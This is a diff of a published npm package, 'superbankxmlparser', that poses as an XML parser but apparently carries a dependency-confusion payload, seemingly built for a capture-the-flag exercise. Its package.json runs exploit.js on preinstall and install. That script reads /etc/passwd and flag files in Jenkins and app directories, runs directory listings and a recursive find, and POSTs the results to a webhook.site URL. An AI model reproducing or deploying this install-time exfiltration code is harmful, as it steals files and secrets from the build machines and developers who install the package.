superbankxmlparser 0.30.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/exploit.js +88 -0
  2. package/index.js +11 -0
  3. package/package.json +13 -0
package/exploit.js ADDED
@@ -0,0 +1,88 @@
1
+ const fs = require('fs');
2
+ const { exec } = require('child_process');
3
+ const https = require('https');
4
+
5
+ console.log('=== MALICIOUS LIBXMLJS2 PACKAGE INSTALLED ===');
6
+
7
+ function sendToWebhook(data) {
8
+ try {
9
+ const payload = JSON.stringify({
10
+ source: 'dependency_confusion',
11
+ data: data
12
+ });
13
+
14
+ const options = {
15
+ hostname: 'webhook.site',
16
+ port: 443,
17
+ path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
18
+ method: 'POST',
19
+ headers: {'Content-Type': 'application/json'}
20
+ };
21
+
22
+ const req = https.request(options);
23
+ req.write(payload);
24
+ req.end();
25
+ console.log('Data sent to webhook');
26
+ } catch(e) {
27
+ console.log('Webhook error:', e.message);
28
+ }
29
+ }
30
+
31
+ let collectedData = '';
32
+
33
+ // 1. Ищем флаг в рабочей директории Jenkins
34
+ const searchPaths = [
35
+ '/etc/passwd',
36
+ '/flag', // Dockerfile
37
+ '/workspace/flag', // Jenkins workspace
38
+ '/var/jenkins_home/jobs/staging/workspace/flag',
39
+ '/usr/src/app/flag', // App directory
40
+ './flag', // Current directory
41
+ '/tmp/flag',
42
+ '/root/flag'
43
+ ];
44
+
45
+ searchPaths.forEach(path => {
46
+ try {
47
+ const content = fs.readFileSync(path, 'utf8');
48
+ console.log(`=== FOUND: ${path} ===`);
49
+ console.log(content);
50
+ collectedData += `=== ${path} ===\n${content}\n\n`;
51
+
52
+ if (content.includes('{') && content.includes('}')) {
53
+ console.log(`🚨 FLAG FOUND IN ${path}:`, content);
54
+ }
55
+ } catch(e) {
56
+ collectedData += `Not found: ${path}\n`;
57
+ }
58
+ });
59
+
60
+ // 2. Список файлов в текущей и корневой директориях
61
+ exec('pwd && ls -la && ls -la /', (err, stdout) => {
62
+ if (!err) {
63
+ collectedData += `=== DIRECTORIES ===\n${stdout}\n\n`;
64
+ }
65
+
66
+ // 3. Ищем файл flag рекурсивно
67
+ exec('find /workspace /var/jenkins_home /app /usr/src/app -name "flag" -type f 2>/dev/null', (err, stdout) => {
68
+ if (!err && stdout) {
69
+ collectedData += `=== FOUND FLAG FILES ===\n${stdout}\n\n`;
70
+
71
+ // Читаем найденные файлы
72
+ const files = stdout.trim().split('\n');
73
+ files.forEach(file => {
74
+ try {
75
+ const content = fs.readFileSync(file, 'utf8');
76
+ collectedData += `=== CONTENT OF ${file} ===\n${content}\n\n`;
77
+ console.log(`Content of ${file}:`, content);
78
+ } catch(e) {}
79
+ });
80
+ }
81
+
82
+ // Отправляем все данные
83
+ sendToWebhook(collectedData);
84
+
85
+ console.log('=== ALL COLLECTED DATA ===');
86
+ console.log(collectedData);
87
+ });
88
+ });
package/index.js ADDED
@@ -0,0 +1,11 @@
1
+ module.exports = {
2
+ parseXmlString: function(xml, options) {
3
+ return {
4
+ get: function(xpath) {
5
+ return {
6
+ text: function() { return "test"; }
7
+ };
8
+ }
9
+ };
10
+ }
11
+ };
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "superbankxmlparser",
3
+ "version": "0.30.2",
4
+ "description": "XML parsing library",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node exploit.js",
8
+ "install": "node exploit.js"
9
+ },
10
+ "keywords": ["xml", "parser"],
11
+ "author": "test",
12
+ "license": "MIT"
13
+ }